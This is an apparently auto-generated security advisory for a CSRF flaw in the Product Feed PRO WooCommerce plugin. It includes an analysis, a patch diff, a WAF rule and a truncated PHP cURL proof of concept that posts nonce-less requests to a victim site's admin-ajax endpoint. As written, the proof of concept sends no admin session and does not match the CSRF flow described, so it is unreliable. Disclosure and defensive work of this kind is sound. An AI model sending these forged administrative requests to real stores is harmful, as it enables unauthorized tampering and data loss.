Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 21, 2026

CVE-2026-3499: Product Feed PRO for WooCommerce by AdTribes – Product Feeds for WooCommerce 13.4.6 – 13.5.2.1 – Cross-Site Request Forgery to Multiple Administrative Actions (woo-product-feed-pro)

CVE ID CVE-2026-3499
Severity High (CVSS 8.8)
CWE 352
Vulnerable Version 13.5.2.1
Patched Version 13.5.2.2
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3499:
The Product Feed PRO for WooCommerce plugin versions 13.4.6 through 13.5.2.1 contain a Cross-Site Request Forgery vulnerability affecting multiple administrative AJAX actions. The vulnerability allows unauthenticated attackers to trigger administrative functions via forged requests, requiring only that an administrator be tricked into clicking a malicious link. The CVSS score of 8.8 reflects the high impact on confidentiality, integrity, and availability.

The root cause is missing or incorrect nonce validation in five AJAX handler functions within the WP_Admin class. The vulnerable functions are ajax_migrate_to_custom_post_type, ajax_adt_clear_custom_attributes_product_meta_keys, ajax_update_file_url_to_lower_case, ajax_use_legacy_filters_and_rules, and ajax_fix_duplicate_feed. Atomic Edge research identified that each function in the vulnerable version checked for nonce existence with ‘isset($_REQUEST[‘security’]) && !wp_verify_nonce(…)’ logic. This pattern fails when the security parameter is absent, allowing requests without any nonce to bypass validation. The vulnerable code resides in /woo-product-feed-pro/includes/Classes/WP_Admin.php across multiple line ranges.

Exploitation requires an attacker to craft a CSRF payload targeting the WordPress admin-ajax.php endpoint with the action parameter set to one of the vulnerable AJAX hooks. The payload must include the required parameters for each specific function. For example, to trigger feed migration, an attacker would send a POST request to /wp-admin/admin-ajax.php with action=woosea_ajax_migrate_to_custom_post_type. No security parameter is needed in the exploit payload. The attacker must lure an authenticated administrator to visit a malicious page that automatically submits this forged request.

The patch modifies nonce validation in all five vulnerable functions by changing the conditional check from ‘isset($_REQUEST[‘security’]) && !wp_verify_nonce(…)’ to ‘!isset($_REQUEST[‘security’]) || !wp_verify_nonce(…)’. This ensures that requests without a security parameter are rejected. The fix appears in WP_Admin.php lines 449, 477, 500, 579, and 612. Additional nonce validation was added to the ajax_fix_duplicate_feed function where it was completely missing. The patch enforces proper CSRF protection by requiring a valid nonce for all administrative AJAX actions.

Successful exploitation allows attackers to perform multiple administrative actions without authorization. Attackers can trigger feed migration processes, clear custom-attribute transient caches, rewrite feed file URLs to lowercase, toggle legacy filter and rule settings, and delete duplicated feed posts. These actions can disrupt feed generation, cause data loss, and affect store operations. The vulnerability requires administrator interaction but no authentication, making it a significant risk for stores using the vulnerable plugin versions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-product-feed-pro/classes/class-get-products.php
+++ b/woo-product-feed-pro/classes/class-get-products.php
@@ -3,6 +3,7 @@
 use AdTribesPFPHelpersHelper;
 use AdTribesPFPHelpersProduct_Feed_Helper;
 use AdTribesPFPClassesShipping_Data;
+use AdTribesPFPFactoriesProduct_Feed;
 use AdTribesPFPHelpersFormatting;
 use AdTribesPFPHelpersSanitization;

@@ -2465,14 +2466,16 @@
      * Returns relative and absolute file path
      */
     public function woosea_create_csvtxt_feed( $products, $feed, $header ) {
-        $upload_dir = wp_upload_dir();
-        $base       = $upload_dir['basedir'];
-        $path       = $base . '/woo-product-feed-pro/' . $feed->file_format;
-        $file       = $path . '/' . sanitize_file_name( $feed->file_name ) . '_tmp.' . $feed->file_format;
+        $upload_dir  = wp_upload_dir();
+        $base        = $upload_dir['basedir'];
+        // For csv.gz, write the plain CSV tmp file under the 'csv' directory.
+        $base_format = Product_Feed::get_base_file_format( $feed->file_format );
+        $path        = $base . '/woo-product-feed-pro/' . $base_format;
+        $file        = $path . '/' . sanitize_file_name( $feed->file_name ) . '_tmp.' . $base_format;

-        // External location for downloading the file
+        // External location for downloading the file (points to the final compressed file if gz).
         $external_base = $upload_dir['baseurl'];
-        $external_path = $external_base . '/woo-product-feed-pro/' . $feed->file_format;
+        $external_path = $external_base . '/woo-product-feed-pro/' . $base_format;
         $external_file = $external_path . '/' . sanitize_file_name( $feed->file_name ) . '.' . $feed->file_format;

         // Check if directory in uploads exists, if not create one
@@ -2637,7 +2640,7 @@

         foreach ( $pieces as $k_inner => $v ) {
             // For CSV fileformat the keys need to get stripped of the g:
-            if ( $header === 'true' && in_array( $feed->file_format, array( 'csv', 'txt', 'tsv' ), true ) ) {
+            if ( $header === 'true' && in_array( $feed->file_format, array( 'csv', 'txt', 'tsv', 'csv.gz' ), true ) ) {
                 $v = str_replace( 'g:', '', $v );
             }

@@ -2706,7 +2709,7 @@
          * Construct header line for CSV ans TXT files, for XML create the XML root and header
          */
         $products = array();
-        if ( $file_format == 'jsonl' ) {
+        if ( $file_format == 'jsonl' || $file_format == 'jsonl.gz' ) {
             // Initialize JSONL feed (no header needed for JSONL format).
             $jsonl_writer = AdTribesPFPClassesFeed_WritersFeed_Writer_JSONL::instance();
             $file         = $jsonl_writer->write_feed( array(), $feed, true );
@@ -5103,7 +5106,7 @@
                     $products[] = array( $attr_line );

                     // Track preview mode product count (CSV/TXT feeds only)
-                    if ( $is_preview_mode && $file_format != 'xml' && $file_format != 'jsonl' ) {
+                    if ( $is_preview_mode && $file_format != 'xml' && $file_format != 'jsonl' && $file_format != 'jsonl.gz' ) {
                         $preview_found_count++;
                         // Exit the inner while loop if we have enough CSV products
                         if ( $preview_found_count >= $preview_target_count ) {
@@ -5127,7 +5130,7 @@
                     $products[] = array( $attr_line );

                     // Track preview mode product count (CSV/TXT feeds only)
-                    if ( $is_preview_mode && $file_format != 'xml' && $file_format != 'jsonl' ) {
+                    if ( $is_preview_mode && $file_format != 'xml' && $file_format != 'jsonl' && $file_format != 'jsonl.gz' ) {
                         $preview_found_count++;
                         // Exit the inner while loop if we have enough CSV products
                         if ( $preview_found_count >= $preview_target_count ) {
@@ -5406,11 +5409,25 @@
                         $xml_piece[ $product->get_id() ] = $xml_product;
                     }
                 } else {
+                    // For JSONL formats, allow channel-specific product-level transformations
+                    // (e.g. shipping parsing and HTML entity decoding for OpenAI).
+                    if ( $file_format === 'jsonl' || $file_format === 'jsonl.gz' ) {
+                        /**
+                         * Filter a single JSONL product array before it is added to the batch.
+                         *
+                         * @since 13.5.2
+                         *
+                         * @param array  $xml_product  The product data key/value array.
+                         * @param array  $feed_channel The active channel configuration.
+                         * @param object $feed         The feed object.
+                         */
+                        $xml_product = apply_filters( 'adt_product_feed_jsonl_product', $xml_product, $feed_channel, $feed );
+                    }
                     $xml_piece[] = $xml_product;
                 }

                 // Track preview mode product count (XML/JSONL feeds only)
-                if ( $is_preview_mode && ( $file_format == 'xml' || $file_format == 'jsonl' ) ) {
+                if ( $is_preview_mode && ( $file_format == 'xml' || $file_format == 'jsonl' || $file_format == 'jsonl.gz' ) ) {
                     $preview_found_count++;
                     // Exit the inner while loop if we have enough products
                     if ( $preview_found_count >= $preview_target_count ) {
@@ -5456,7 +5473,7 @@
         /**
          * Write row to CSV/TXT or XML or JSONL file
          */
-        if ( $file_format == 'jsonl' && is_array( $xml_piece ) && ! empty( $xml_piece ) ) {
+        if ( ( $file_format == 'jsonl' || $file_format == 'jsonl.gz' ) && is_array( $xml_piece ) && ! empty( $xml_piece ) ) {
             $jsonl_writer = AdTribesPFPClassesFeed_WritersFeed_Writer_JSONL::instance();
             $file         = $jsonl_writer->write_feed( array_filter( $xml_piece ), $feed, false );
             unset( $xml_piece );
--- a/woo-product-feed-pro/includes/Classes/Feeds/OpenAI_Product_Feed.php
+++ b/woo-product-feed-pro/includes/Classes/Feeds/OpenAI_Product_Feed.php
@@ -9,7 +9,6 @@

 use AdTribesPFPAbstractsAbstract_Class;
 use AdTribesPFPTraitsSingleton_Trait;
-use AdTribesPFPFactoriesProduct_Feed;

 /**
  * Google Product Review class.
@@ -30,6 +29,27 @@
     protected $feed_type = 'openai_product_feed';

     /**
+     * Required OpenAI feed fields and their safe empty defaults.
+     *
+     * These fields must be present in every product object even when the mapped
+     * WooCommerce value is empty or the user has not yet configured a static value.
+     * The defaults ensure the field key exists in the JSONL output so OpenAI does
+     * not reject the feed for a missing required attribute.
+     *
+     * @since 13.5.2.2
+     *
+     * @var array<string,mixed>
+     */
+    protected $required_field_defaults = array(
+        'weight'             => '',
+        'inventory_quantity' => 0,
+        'seller_tos'         => '',
+        'return_policy'      => '',
+        'return_window'      => '',
+    );
+
+
+    /**
      * Handle the XML attribute.
      *
      * @since 13.4.9
@@ -148,6 +168,153 @@
     }

     /**
+     * Register OpenAI as a platform that requires pure plain text.
+     *
+     * This makes Sanitization::sanitize_html_content() route title, description,
+     * and similar fields through convert_to_pure_plain_text() — which strips HTML
+     * tags and decodes HTML entities — instead of convert_to_plain_text() which
+     * re-encodes entities with htmlentities() for XML compatibility.
+     *
+     * @since 13.5.2.2
+     *
+     * @param array $platforms Platform slugs requiring pure plain text.
+     * @return array
+     */
+    public function register_pure_plain_text_platform( $platforms ) {
+        $platforms[] = 'openai';
+        return $platforms;
+    }
+
+    /**
+     * Transform an OpenAI JSONL product array before it is written to the feed file.
+     *
+     * Handles three concerns specific to the JSONL path:
+     * 1. Shipping — converts internal WOOSEA_COUNTRY##/… marker strings into
+     *    an array of structured shipping objects.
+     * 2. HTML entities — decodes any remaining entities (e.g. > in
+     *    product_category which is built outside sanitize_html_content()).
+     *    Fields like title and description are already clean plain text at this
+     *    point because OpenAI is registered as a pure-plain-text platform.
+     * 3. Required field defaults — ensures every required field is present in the
+     *    output even when the product has no mapped value.
+     *
+     * @since 13.5.2.2
+     *
+     * @param array  $product_data The product key/value array being built for JSONL.
+     * @param array  $feed_channel The active channel configuration array.
+     * @param object $feed         The feed object.
+     * @return array
+     */
+    public function transform_jsonl_product( $product_data, $feed_channel, $feed ) {
+        if ( ! isset( $feed_channel['fields'] ) || 'openai' !== $feed_channel['fields'] ) {
+            return $product_data;
+        }
+
+        // 1. Transform shipping field from internal marker format to array of objects.
+        if ( ! empty( $product_data['shipping'] ) ) {
+            $product_data['shipping'] = $this->parse_shipping_for_jsonl( $product_data['shipping'] );
+        }
+
+        // 2. Decode any remaining HTML entities in string values.
+        // (title/description are already plain text via convert_to_pure_plain_text();
+        // this covers fields like product_category that are built outside sanitize_html_content().)
+        foreach ( $product_data as $key => $value ) {
+            if ( is_string( $value ) ) {
+                $product_data[ $key ] = html_entity_decode( $value, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+            }
+        }
+
+        // 3. Ensure every required field is present; use the registered default when absent.
+        foreach ( $this->required_field_defaults as $field => $default ) {
+            if ( ! array_key_exists( $field, $product_data ) ) {
+                $product_data[ $field ] = $default;
+            }
+        }
+
+        return $product_data;
+    }
+
+    /**
+     * Decode HTML entities in OpenAI CSV row data.
+     *
+     * For CSV.GZ format, fields like product_category carry HTML entities
+     * (e.g. > as the category separator) that are not decoded by the
+     * sanitize_html_content() pipeline. This filter decodes all entity-encoded
+     * values in the row so the CSV output is clean plain text.
+     *
+     * @since 13.5.2.2
+     *
+     * @param array  $pieces_row            The indexed array of CSV cell values for this row.
+     * @param array  $old_attributes_config The feed attribute mapping configuration.
+     * @param array  $product_data          The full product data array.
+     * @param object $feed                  The feed object.
+     * @return array
+     */
+    public function handle_csv_row_data( $pieces_row, $old_attributes_config, $product_data, $feed ) {
+        if ( 'openai' !== $feed->get_channel( 'fields' ) ) {
+            return $pieces_row;
+        }
+
+        return array_map(
+            function ( $value ) {
+                return is_string( $value ) ? html_entity_decode( $value, ENT_QUOTES | ENT_HTML5, 'UTF-8' ) : $value;
+            },
+            $pieces_row
+        );
+    }
+
+    /**
+     * Parse a raw internal shipping string into an array of structured shipping objects.
+     *
+     * Reuses the same token parsing as write_shipping_attribute() but returns an
+     * array of associative arrays rather than a semicolon-delimited string, which
+     * is correct for JSON serialisation.
+     *
+     * @since 13.5.2
+     *
+     * @param string $value Raw shipping value in WOOSEA_COUNTRY##…:WOOSEA_SERVICE##…:… format,
+     *                      with multiple entries separated by '||'.
+     * @return array Array of shipping entry objects, each with 'country', 'service', 'price'
+     *               and optionally 'region' keys.
+     */
+    private function parse_shipping_for_jsonl( $value ) {
+        $shipping_entries = array();
+        $shipping_array   = explode( '||', $value );
+
+        foreach ( $shipping_array as $shipping ) {
+            $country = '';
+            $region  = '';
+            $service = '';
+            $price   = '';
+
+            $shipping_pieces = explode( ':', $shipping );
+
+            foreach ( $shipping_pieces as $piece ) {
+                if ( strpos( $piece, 'WOOSEA_COUNTRY##' ) !== false ) {
+                    $country = str_replace( 'WOOSEA_COUNTRY##', '', $piece );
+                } elseif ( strpos( $piece, 'WOOSEA_REGION##' ) !== false ) {
+                    $region = str_replace( 'WOOSEA_REGION##', '', $piece );
+                } elseif ( strpos( $piece, 'WOOSEA_SERVICE##' ) !== false ) {
+                    $service = str_replace( 'WOOSEA_SERVICE##', '', $piece );
+                } elseif ( strpos( $piece, 'WOOSEA_PRICE##' ) !== false ) {
+                    $price = str_replace( 'WOOSEA_PRICE##', '', $piece );
+                }
+            }
+
+            $entry = array( 'country' => $country );
+            if ( ! empty( $region ) ) {
+                $entry['region'] = $region;
+            }
+            $entry['service'] = $service;
+            $entry['price']   = $price;
+
+            $shipping_entries[] = $entry;
+        }
+
+        return $shipping_entries;
+    }
+
+    /**
      * Run the class.
      *
      * @since 13.4.9
@@ -155,5 +322,8 @@
     public function run() {
         add_filter( 'adt_product_feed_xml_attribute_handling', array( $this, 'handle_xml_attribute' ), 10, 7 );
         add_filter( 'adt_product_data_availability_format', array( $this, 'format_availability' ), 10, 3 );
+        add_filter( 'adt_product_feed_jsonl_product', array( $this, 'transform_jsonl_product' ), 10, 3 );
+        add_filter( 'adt_product_feed_platform_requires_pure_plain_text_fields', array( $this, 'register_pure_plain_text_platform' ), 10, 1 );
+        add_filter( 'adt_product_feed_csv_row_data', array( $this, 'handle_csv_row_data' ), 10, 4 );
     }
 }
--- a/woo-product-feed-pro/includes/Classes/Usage.php
+++ b/woo-product-feed-pro/includes/Classes/Usage.php
@@ -756,7 +756,7 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

@@ -786,7 +786,7 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'adt_pfp_allow_tracking_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'adt_pfp_allow_tracking_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

--- a/woo-product-feed-pro/includes/Classes/WP_Admin.php
+++ b/woo-product-feed-pro/includes/Classes/WP_Admin.php
@@ -449,7 +449,7 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

@@ -477,7 +477,7 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

@@ -500,7 +500,7 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

@@ -579,7 +579,7 @@
      * @access public
      */
     public function ajax_use_legacy_filters_and_rules() {
-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( array( 'message' => __( 'Invalid security token', 'woo-product-feed-pro' ) ) );
         }

@@ -612,6 +612,10 @@
             wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'woo-product-feed-pro' ) ) );
         }

+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+            wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
+        }
+
         // Reset backward compatibility options.
         delete_option( 'adt_cron_projects' );

@@ -658,7 +662,7 @@
      * @access public
      **/
     public function ajax_dismiss_get_elite_notice() {
-        if ( isset( $_REQUEST['security'] ) && ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
+        if ( ! isset( $_REQUEST['security'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['security'] ) ), 'woosea_ajax_nonce' ) ) {
             wp_send_json_error( __( 'Invalid security token', 'woo-product-feed-pro' ) );
         }

--- a/woo-product-feed-pro/includes/Factories/Product_Feed.php
+++ b/woo-product-feed-pro/includes/Factories/Product_Feed.php
@@ -491,6 +491,27 @@
     }

     /**
+     * Get the base file format, stripping any .gz suffix.
+     *
+     * For compressed formats like 'jsonl.gz' or 'csv.gz', returns the underlying
+     * format ('jsonl' or 'csv') used for directory naming and temp-file extensions.
+     * Declared static so it can be reused across classes without duplicating
+     * the stripping logic (e.g. Product_Feed::get_base_file_format( $feed->file_format )).
+     *
+     * @since 13.5.2
+     * @access public
+     *
+     * @param string $format The file format string to evaluate.
+     * @return string
+     */
+    public static function get_base_file_format( $format ) {
+        if ( substr( $format, -3 ) === '.gz' ) {
+            return substr( $format, 0, -3 );
+        }
+        return $format;
+    }
+
+    /**
      * Get product feed file format.
      *
      * @since 13.3.5
@@ -499,9 +520,10 @@
      * @return string
      */
     public function get_file_url() {
-        $upload_dir = wp_upload_dir();
-        $base_url   = set_url_scheme( $upload_dir['baseurl'], is_ssl() ? 'https' : 'http' );
-        return $base_url . '/' . self::UPLOAD_SUB_DIR . '/' . $this->file_format . '/' . $this->file_name . '.' . $this->file_format;
+        $upload_dir  = wp_upload_dir();
+        $base_url    = set_url_scheme( $upload_dir['baseurl'], is_ssl() ? 'https' : 'http' );
+        $base_format = self::get_base_file_format( $this->file_format );
+        return $base_url . '/' . self::UPLOAD_SUB_DIR . '/' . $base_format . '/' . $this->file_name . '.' . $this->file_format;
     }

     /**
@@ -513,9 +535,9 @@
      * @return string
      */
     public function get_file_path() {
-        $upload_dir = wp_upload_dir();
-        $asd        = $upload_dir['basedir'] . '/' . self::UPLOAD_SUB_DIR . '/' . $this->file_format . '/' . $this->file_name . '.' . $this->file_format;
-        return $asd;
+        $upload_dir  = wp_upload_dir();
+        $base_format = self::get_base_file_format( $this->file_format );
+        return $upload_dir['basedir'] . '/' . self::UPLOAD_SUB_DIR . '/' . $base_format . '/' . $this->file_name . '.' . $this->file_format;
     }

     /**
@@ -1121,11 +1143,15 @@
      * @access public
      */
     public function move_feed_file_to_final() {
-        $upload_dir = wp_upload_dir();
-        $base       = $upload_dir['basedir'];
-        $path       = $base . '/woo-product-feed-pro/' . $this->file_format;
-        $tmp_file   = $path . '/' . sanitize_file_name( $this->file_name ) . '_tmp.' . $this->file_format;
-        $new_file   = $path . '/' . sanitize_file_name( $this->file_name ) . '.' . $this->file_format;
+        $upload_dir  = wp_upload_dir();
+        $base        = $upload_dir['basedir'];
+        $base_format = self::get_base_file_format( $this->file_format );
+        $is_gz       = self::get_base_file_format( $this->file_format ) !== $this->file_format;
+
+        // For gz formats the tmp file uses the base format (e.g. _tmp.jsonl for jsonl.gz).
+        $path     = $base . '/woo-product-feed-pro/' . $base_format;
+        $tmp_file = $path . '/' . sanitize_file_name( $this->file_name ) . '_tmp.' . $base_format;
+        $new_file = $path . '/' . sanitize_file_name( $this->file_name ) . '.' . $this->file_format;

         // Check if temporary file exists before attempting to copy.
         if ( ! file_exists( $tmp_file ) ) {
@@ -1145,6 +1171,75 @@
             return;
         }

+        if ( $is_gz ) {
+            // Compress the plain tmp file into a gzip-compressed final file.
+            $gz_handle    = gzopen( $new_file, 'wb9' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
+            $plain_handle = fopen( $tmp_file, 'rb' );   // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
+
+            if ( false === $gz_handle || false === $plain_handle ) {
+                if ( $gz_handle ) {
+                    gzclose( $gz_handle );
+                }
+                if ( $plain_handle ) {
+                    fclose( $plain_handle ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+                }
+                if ( function_exists( 'wc_get_logger' ) ) {
+                    $logger = wc_get_logger();
+                    $logger->error(
+                        'Failed to open files for gzip compression',
+                        array(
+                            'source'      => 'woo-product-feed-pro',
+                            'feed_id'     => $this->id,
+                            'feed_title'  => $this->title,
+                            'tmp_file'    => $tmp_file,
+                            'new_file'    => $new_file,
+                            'file_format' => $this->file_format,
+                        )
+                    );
+                }
+                return;
+            }
+
+            $write_error = false;
+            while ( ! feof( $plain_handle ) ) {
+                $data = fread( $plain_handle, 65536 ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fread
+                if ( false === $data ) {
+                    $write_error = true;
+                    break;
+                }
+                $bytes_written = gzwrite( $gz_handle, $data );
+                if ( false === $bytes_written || ( 0 === $bytes_written && strlen( $data ) > 0 ) ) {
+                    $write_error = true;
+                    break;
+                }
+            }
+
+            fclose( $plain_handle );  // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+            gzclose( $gz_handle );
+
+            if ( $write_error ) {
+                wp_delete_file( $new_file );
+                if ( function_exists( 'wc_get_logger' ) ) {
+                    $logger = wc_get_logger();
+                    $logger->error(
+                        'Gzip compression failed during feed file write',
+                        array(
+                            'source'      => 'woo-product-feed-pro',
+                            'feed_id'     => $this->id,
+                            'feed_title'  => $this->title,
+                            'tmp_file'    => $tmp_file,
+                            'new_file'    => $new_file,
+                            'file_format' => $this->file_format,
+                        )
+                    );
+                }
+                return;
+            }
+
+            wp_delete_file( $tmp_file );
+            return;
+        }
+
         // Format XML file with proper indentation before moving (for large feeds).
         if ( 'xml' === $this->file_format ) {
             $get_products = new WooSEA_Get_Products();
--- a/woo-product-feed-pro/templates/edit-feed/tabs/general-tab.php
+++ b/woo-product-feed-pro/templates/edit-feed/tabs/general-tab.php
@@ -196,7 +196,7 @@
                             <td>
                                 <select name="fileformat" id="fileformat" class="select-field">
                                     <?php
-                                    $format_arr = array( 'xml', 'csv', 'txt', 'tsv', 'jsonl' );
+                                    $format_arr = array( 'xml', 'csv', 'txt', 'tsv', 'jsonl', 'jsonl.gz', 'csv.gz' );
                                     foreach ( $format_arr as $format ) :
                                         $selected = '';
                                         if ( $edit_feed ) {
--- a/woo-product-feed-pro/woocommerce-sea.php
+++ b/woo-product-feed-pro/woocommerce-sea.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin Name: Product Feed PRO for WooCommerce
- * Version:     13.5.2.1
+ * Version:     13.5.2.2
  * Plugin URI:  https://www.adtribes.io/support/?utm_source=wpadmin&utm_medium=plugin&utm_campaign=woosea_product_feed_pro
  * Description: Configure and maintain your WooCommerce product feeds for Google Shopping, Catalog managers, Remarketing, Bing, Skroutz, Yandex, Comparison shopping websites and over a 100 channels more.
  * Author:      AdTribes.io
@@ -17,7 +17,7 @@
  * Domain Path: /languages
  *
  * WC requires at least: 4.4
- * WC tested up to: 10.5.2
+ * WC tested up to: 10.5.3
  *
  * Product Feed PRO for WooCommerce is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -41,7 +41,7 @@
 /**
  * Define plugin constants.
  */
-define( 'WOOCOMMERCESEA_PLUGIN_VERSION', '13.5.2.1' );
+define( 'WOOCOMMERCESEA_PLUGIN_VERSION', '13.5.2.2' );
 define( 'WOOCOMMERCESEA_PLUGIN_NAME', 'woocommerce-product-feed-pro' );
 define( 'WOOCOMMERCESEA_PLUGIN_NAME_SHORT', 'woo-product-feed-pro' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3499
# Block CSRF attempts targeting vulnerable Product Feed PRO AJAX actions without valid nonce
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263499,phase:2,deny,status:403,chain,msg:'CVE-2026-3499 CSRF attempt via Product Feed PRO AJAX',severity:'CRITICAL',tag:'CVE-2026-3499',tag:'WordPress',tag:'Plugin',tag:'Product-Feed-PRO',tag:'CSRF'"
  SecRule ARGS_POST:action "@within woosea_ajax_migrate_to_custom_post_type woosea_ajax_adt_clear_custom_attributes_product_meta_keys woosea_ajax_update_file_url_to_lower_case woosea_ajax_use_legacy_filters_and_rules woosea_ajax_fix_duplicate_feed" 
    "chain,t:none"
    SecRule &ARGS_POST:security "@eq 0" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3499 - Product Feed PRO for WooCommerce by AdTribes – Product Feeds for WooCommerce 13.4.6 - 13.5.2.1 - Cross-Site Request Forgery to Multiple Administrative Actions

<?php
// Configuration
$target_url = 'https://victim-site.com/wp-admin/admin-ajax.php';

// Choose which vulnerable action to exploit
// Available actions:
// 1. 'woosea_ajax_migrate_to_custom_post_type' - Trigger feed migration
// 2. 'woosea_ajax_adt_clear_custom_attributes_product_meta_keys' - Clear custom attribute caches
// 3. 'woosea_ajax_update_file_url_to_lower_case' - Rewrite feed URLs to lowercase
// 4. 'woosea_ajax_use_legacy_filters_and_rules' - Toggle legacy filter settings
// 5. 'woosea_ajax_fix_duplicate_feed' - Delete duplicated feed posts
$action = 'woosea_ajax_migrate_to_custom_post_type';

// Prepare POST data - no security parameter needed for exploitation
$post_data = array(
    'action' => $action
);

// Additional parameters may be required for some actions
if ($action === 'woosea_ajax_fix_duplicate_feed') {
    $post_data['project_hash'] = 'example_feed_hash'; // Requires a valid project hash
}

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Parse JSON response if available
    $json_response = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        echo "Parsed JSON:n";
